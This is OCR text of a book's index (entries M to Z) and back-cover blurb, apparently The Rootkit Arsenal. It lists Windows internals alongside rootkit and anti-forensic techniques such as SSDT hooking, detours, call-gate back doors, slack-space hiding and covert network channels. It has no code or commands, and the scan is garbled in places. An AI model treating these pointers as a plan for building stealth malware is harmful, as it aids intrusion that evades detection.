M42 sub-basement, 567 MAC timestamp, 523 machine-specific registers (MSRs), 109 Magic Lantern, 13 major function code, 181-182 MajorFunction array, 180-181,306, 325-326 MAKE FILE file, 195-196 MANUALLY_INITIATED _CRASH, 174 maskable interrupt, 37 master boot record (MBR), 124, 212, 380, 396 Master File Table (MFT), 389, 556 Masters, Martin, xxvi Matkovitz, George, xxvii MBR, see master boot record MBR disassembly program, 386 disk signature, 382 string table, 382 McAfee, 13 McAfee Avert Labs, xxi MCB, see memory control block McNamara, Robert, 678 MD5 hash algorithm, 526 MDL, see memory descriptor list mem.exe,31 memory control record, 45 segment, 27 memory control block (MCB), 45 memory descriptor list (MDL), 289 Mental Driller, 570 message compression, 620 digest, 526 metamorphic code, 570 MetaPHOR,570 Metasploit Anti-Forensic Investigation Arsenal (MAFIA), 555 Metasploit Meterpreter, 603 METHOD_BUFFERED,186 MIT, see Master File Table MFT program, 562 MFT_HEADER structure, 559 Microsoft debugging tools, 144, 147 Microsoft DOS, 30
902
Index
NDISProt WDK example, 641 NdisprotXXXO routines, 649-651 NdisRegisterProtocolDriverO routine, 651 Ndis.sys NDIS library, 614 NdisXXXO functions, 614, 652 near jump, 38 NecroFile tool, 543 net user command, 507 netstat.exe tool, 501 network order, 618 provider interface (NPI), 632 Network Driver Interface Specification (NDIS), 611, 614, 617 network IDS (NIDS), 494 nlrpsToComplete, 471 nmake.exe, 194 Nmap tool, 9, 504, 534 No-FU rootkit, 406, 434 nonconforming code segment, 61 nonmaskable interrupt, 37 nonresident NTFS files, 550 nonvolatile data, 498, 505 Noorda's Nightmare, xxvii NOP instruction, 51, 341 N Norton Ghost, 146, 519 native NPI, see network provider interface API,106 NT Virtual DOS Machine subsystem, 103 application, 132 nt!_security_cookie, 347 nbtstat.exe tool, 501 Nt*O calls, 113-114, 116 NDIS, see Network Driver Interface nt5.cat file, 128 Specification Ntbtlog.txt, 130 NdisMXXXO functions, 614 NtDeviceIoControlFile, 109 NdisOidRequestO routine, 649 ntdll.dll, 98-99, 101, 104, 105, 114 NdisprotBindAdapterO routine, 651, 652 NTFS boot record, 556-557 NdisprotCloseAdapterCompleteO routine, ntoskrnJ.exe, 101, 102, 128,317-318,397 651,652 NtQueryInformationProcessO routine, 334 NdisprotOpenAdapterCompleteO routine, Ntsd.exe debugger, 149 651,652 NTSTATUS, 179 NdisprotPnPEventHandlerO routine, 651, null 653 modem cable, 164 NdisprotReceiveNetBufferListsO routine, segment descriptor, 57 651,654,655 segment selector, 57, 68 NdisprotRequestCompleteO routine, 651, 653 null.sys driver, 209 NdisprotSendCompleteO routine, 651, 654 o NdisprotStatusO routine, 651, 654 obfuscation, 590 ndisprot.sys, 641 , 649 object ID (OlD), 648, 649 NdisprotUnbindAdapterO routine, 651, 652 Microsoft Shared Source Initiative, 149 Microsoft Software Update Services (SUS), 8 mini class driver, 459 mini port driver, 459 miniport NDIS drivers, 614 MiniportXXXO functions, 615 MINIX,105 MIPS, 79 Miss Identify tool, 530 module, 97 MODULE_ARRAY structure, 319 MODULE_DATA structure, 327-328 MODULE_LIST structure, 327-328 Monroe, Mathew, 549, 566 Moore, H.D., xxvi Morris, Robert Tappan, 17 Mosaddeq, Mohammed, 678 MOV instruction, 70, 32 MSC_WARNING_LEVEL macro, 196, 197 MSR, see machine-specific registers MSR structure, 280 mswsock.dll, 611 Multics, 670 Muttik, Igor, xxi
903
Index
PC Tattletale, 12 PDBR register, see CR3 PDE, see page directory entry PEB, see process environment block Pentagon Papers, 678 Pentium Pro processor, 26 Philby, Harold, 11 Phrack magazine, xxvi physical address, 25 Physical Address Extension (PAE), 25-26, 63, 81 physical address space, 25 PhysMem.exe tool, 208 PID bruteforce (PIDB), 439 Pietrek, Matt, 675 PING, see Partimage Is Not Ghost tool pointer arithmetic, 403-404 polymorphic code, 569 port driver, 459 portable executable (PE) file format, 255 POSIX subsystem, 103, 190 potency of code, 590 Powell, Colin, 678 PowerQuest Partition Table Editor, 388 predicate, 594 primary access token, 414 P private symbols,. 151 p debugger command, 155 privilege level, 59 page alignment, 83 privileges, 414-416 page directory, 62 process environment block (PEB), 87,172, page directory base register (PDBR), see CR3 330,336 page directory entry (PDE), 62, 77 Process Explorer tool, 98-99, 133, 434, 534, page fault exception (#PF), 61, 75 535 page frame, 61, 83 .process meta-command, 87 page of memory, 61, 83 Process Monitor tool, 534, 535 page table, 62 process puppeteering, 599 page table entry (PTE), 62, 77 Process32FirstO routine, 437 pageable drivers, 205-206 Process32NextO routine, 437 ParsePEB program, 330 ProcMon.exe, 373 Partimage Is Not Ghost tool, 146-147 ProDiscover tool, 540 partition PROFILE_LEVEL IRQL, 232 system ID, 385 program database format (.pdb), 150 table, 124-125, 383-386 Project Loki, 607 PASSIVE_LEVEL IRQL, 232, 431 Project Venona, 11 pass-through function, 279 prolog detour, 343, 353 Patch program, 50 promqry.exe tool, 501 PATCH_INFO structure, 345-355 protected mode, 28, 29, 54 Patchguard, 229 protest.exe, 641, 646
OBJECT_ATTRIBUTES structure, 123 object-based OS, 405 Office of the National Counterintelligence Executive, 15 offline binary patching, 54 offset address, 27 OID, see object ID oligomorphic code, 570 OllyDbg, 536 one-way mapping, 526 Oney, Walter, 141,228 opaque predicate, 595 Open Watcom, 143 OpenBoot specification, 514 OpenHandleO routine, 646, 647 OpenSCManagerO, 200 OpenServiceO, 200, 201 OpenSSH,l1 Operation Gladio, 678 order of volatility (RFC 3227), 498 Orwell, George, 457 OS/2 subsystem, 103 outlining, 593 out-of-band hiding, 549 OUTPUT_DIR,501
904
Index
protocol NDIS drivers, 614-615 ProtocolXXXO functions, 615, 649, 652 PsGetCurrentProcessO routine, 148, 406 psinfo.exe tool, 505 psloggedon.exe tool, 502 psservice.exe tool, 502 PTE, see page table entry public symbols, 151 Purple Pill, 227 PuTTY, 165 pwdump5 tool, 7 pwn, 8
Q
q debugger command, 155 qttask.exe, 5-6
R
r debugger command, 161, 173 R/W flag, 63, 77, 288 RAM acquisition, hardware-based, 514, 659 software-based, 510, 659 RAM slack, 551 raw socket, 612 .rdata section, 574 RDMSR instruction, 109 ReadPE program, 260 real mode, 28, 29 regedit.exe, 126 reinfection, 596 relative virtual address (RVA), 256, 262, 266 relay agent, 608 .reloc section, 574 relocatable jump, 40 remote procedure call (RPC) net, 220 RemoteThread program, 255 reordering operations, 593 request privilege level (RPL), 58, 68, 77 . resident NTFS files, 553 resilient code, 590 resource definition script (.rc file), 583 retail build symbols, 152 RFC 1123 (DNS), 618 Rijmen, Vincent, 526 Ring 0 privilege, 59 Ring 3 privilege, 59 rk _ 044 rootkit, 642
rM debugger command, 84, 107 rogue partition, 389 root account, 8 rooting, 8 rootkit, 10-11, 19 RootkitRevealer tool, 451 Rose, Curtis, xxvi rpcnet.exe, 220 RPL, see request privilege level .rsrc section, 574 Runefs tool, 556 running line tactic, 590 run-time binary patching, 54 dynamic linking, 247, 249 executable analysis, 530, 533 patching, 340 Russinovich, Mark, xxvi, 15 Rutkowska, Joanna, xxvi, 19, 208, 452, 515, 516,596,599,674 RVA, see relative virtual address
S
San Francisco State University (SFSU), 3 sanitizing data, 542 sC.exe, 199 Scarfo, Nicky Jr., 13 Schmidt, Jurgen, xxi Schreiber, Sven, xxvi, 79 schtasks.exe tool, 503 SCM, see Service Control Manager Scott, Sir Walter, 603, 641 SD program, 217 SDE structure, 287 SDT structure, 287 SeAccessCheckO routine, 374 second-generation forensic copy, 500 secpol.msc, 416 securable object, 414 security descriptor, 414 Security-Assessment.com, 515, 541 SeDebugPrivilege, 440 SEG DESCRIPTOR structure, 308 segn;-ent descriptor, 55, 57, 77, 308 S field, 59, 60 Type field, 59, 60 segment selector, 27, 57, 58, 77, 309-310
905
Index
segmentation, limit check, 67 privilege-level check, 67, 68-69 restricted-instruction checks, 69 type check, 67, 68 self-healing rootkit, 220 Selinger, Peter, 548 SEP_TOKEN]RlVlLEGES, 420, 433 Service Control Manager (SCM), 105, 134, 198,212 service descriptor table, 110 SERVICE_AUTO_START, 134 SERVICE_BOOT_START, 129 services.exe, 104 services.msc, 212, 220 SetEndOfFileO routine, 552 setenv.bat, 195 SetWindowsHookExO routine, 251, 485 SFSU, see San Francisco State University SGDT instruction, 58 SHA-1 hash algorithm, 526 Shadow Walker rootkit, 516 Shell registry value, 134 short jump, 39 shred.exe tool, 543 SI data source index register, 34, 56 SID _AND_ATTRIBUTES structure, 419 SID _AND _ATTRIBUTES_HASH structure, 419 SIDT instruction, 73, 271 signature matching, 510 Silberman, Peter, 406 single-stepping, 586 Skeleton program, 176 Slack program, 553 slack space, 549 slacker.exe tool, 555 small memory dump, 173 -SMM, see system management mode smss.exe, 132 snake oil cures, 145 sneakernet, 145 SNORT, 495 Sofer, Nir, 404, 417 software breakpoints, 586 interrupt, 37 Solow, Danny, xxvii
Sommer, Peter, 14 Sony, 15 SOURCES file, 195-196 macro, 196 SP stack pointer register, 34, 56 Sparks, Sherri, xxviii, 516 Spector Pro, 12 spoofing, 613 spooler.exe, 508 spyware, 17 SQL injection attack, 9 SS stack segment register, 34, 55, 77 SSDT, see System Service Dispatch Table ssleay32.dll, 531 SSN, see system service number SSPT, see system service parameter table SST, see system service table StartServiceO, 200, 202 static executable analysis, 530 STDCALL calling convention, 277, 349 stealth malware, 19 Stevens, Marc, 548 stochastic redundancy, 593 stoned virus, 16 stream, 521 Strider GhostBuster tool, 451 string matching, 510 strings.exe tool, 531 stripped symbol file , 151 stub program, 572 SubVirt rootkit, 674 Sun Tzu, 493 SUS, see Microsoft Software Update Service symbol files, 150 symbolic link, 187 Symchk.exe tool, 151 SYSENTER instruction, 95,107,108-110, 279 Sysinternals suite, 143, 147 system call interface, 105 class device drivers, 131 volume, 124 SYSTEM account, 10, 397 registry hive, 128 system management mode (SMM), 28
906
Index
System Service Dispatch Table (SSDT), 110-112,286-287, 291 system service dispatcher, see KiSystemService system service number (SSN), 108 System Service Parameter Table (SSPT), 112 System Service Table (SST), III System Volume Information directory, 4 SYSTEM- INFORMATION- CLASS enumeration, 296, 318 SYSTEM_MODULE _INFORMATION structure, 319 SYSTEM_ PROCESS_INFORMATION structure, 297 SYSTEM_PROCESS_PERFORMANCE_ INFO structure, 298
transport address, 636 transport driver interface (TDI), 613 trap, 38 trap-gate descriptor, 70, 71, 73 tree.com, 50 Tribble tool, 514 TripWire suite, 54 TSMod program, 546 TSR, see terminate and stay resident program
u
u debugger command, 158
t debugger command, 155 target machine, 162 TARGETLIBS macro, 196, 197 TARGETNAME macro, 196 TARGETPATH macro, 196 TARGETTYPE macro, 196 tasklist.exe tool, 423-424, 427-428, 436, 438, 502 Taylor, Mac, 539 tcpip.sys driver, 613 tcpip6.sys driver, 613 TCPView.exe tool, 220, 534, 535 TDI, see transport driver interface TeamWzM,5 TEB, see thread environment block Tenet, George, 678 terminate and stay resident program (TSR), 40 .text section, 574 .textbss section, 574 TF trap flag, 34, 586, 588 the grugq, xxvi, 543, 497, 555, 598 . The Sleuth Kit (TSK), 521 Thompson, Irby, 549, 566 thread environment block (TEB), 336 Token field, 409, 411 TOKEN structure, 417 touch.exe, 4 TraceDetour program, 346 trampoline, 342
V
VBR, see volume boot record vcvars32.bat, 194 VeriSign, 227 VERSIONINFO resource statement, 583-584 virtual address, 89 space, 93 virus, 16 Visual Studio Express, 141, 147 Vitriol rootkit, 674 VMware, 394 Vodafone-Panafon,14 volatile data, 498, 500 volume boot record (VBR), 124, 396-397
907
Index
W
wget tool, 11 whirlpool hash algorithm, 526 whirlpooldeep tool, 526 win32 subsystem, 103 win32k.sys, 101, 102, 104, 132 winbase.h, 82 WinDbg.exe debugger, 144, 149 windowing, 82 Windows boot loader, see winload.exe calling conventions, 277 loader, 577 SDK, 142, 147 subsystem, 104 volume boot record, 556-557 Windows Automated Installation Kit (WAlK), 146 Windows Driver Framework (WDF), 178 Windows Driver Kit (WDK), 141, 147 Windows Driver Model (WDM), 178 Windows Encrypting File System (EFS), 539 Windows Hardware Quality Labs (WHQL), 228 Windows on Windows (WOW) subsystem, 103 Windows Server 2003 Device Driver Kit, 143, 147 Windows Services for Unix (SFU) subsystem, 104 Windows Sockets 2 API, 611, 617, 621 wininit.exe, 133 winload.exe, 127, 397 winlogon.exe, 133 WinMerge, 528 winnt.h, 255
Winobj.exe tool, 188 Winsock, see Windows Sockets 2 API Winsock Kernel API (WSK), 611, 613, 617, 625 Wireshark tool, 534 WMDs, 678 WORKER_THREAD,479 worm, 17 WriteFile routine, 116, 119 WRMSR instruction, 70, 32, 109 ws2_32.dll, 531,611 wshtcpip.dll, 611 WSK, see Winsock Kernel API WskBindO routine, 635 WskControlSocketO routine, 634 WskReceiveFromO routine, 639 WskSendToO routine, 638 WskSocketO routine, 633
x
x debugger command, 155
y
Yoda's Cryptor, 580
Z
Zango's Hotbar, 17 zombie, 18 Zovi, Dino, 674 Zw*O calls, 114, 292 ZwQueryDirectoryFileO routine, 301 ZwQuerySystemInformationO routine, 296, 318,337 ZwQueryValueKeyO routine, 365 ZwSetInformationFileO routine, 546 ZwSetSystemInformationO, 203 ZwSetValueKeyO routine, 293, 346
908
growing prevalence of the Internet, rootkit technology has taken center stage in the battle between White Hats and Black Hats. Adopting an approach that favors full disclosure, The Rootkit Arsenal presents the most accessible, timely, and complete coverage of rootkit technology. This book covers more topics, in greater depth, than any other title currently available. In doing so, the author forges through the murky back alleys of the Internet, shedding light on material that has traditionally been poorly documented, partially documented, or intentionally undocumented.
a kernel debugger to reverse-engineer operating system internals gates to create a back door into Ring-O
~ Inject call
both live incident response and post-mortem forensic analysis code armoring to protect your deliverables covert network channels using the WSK and
~ Implement ~ Establish
NDIS 6.0
. Level: Category:
IDBDIIBE
Pu.hIi.WMg, IHe.
An imprint of Jones and Bartlett Publishers
t:J
$49.95
54995
II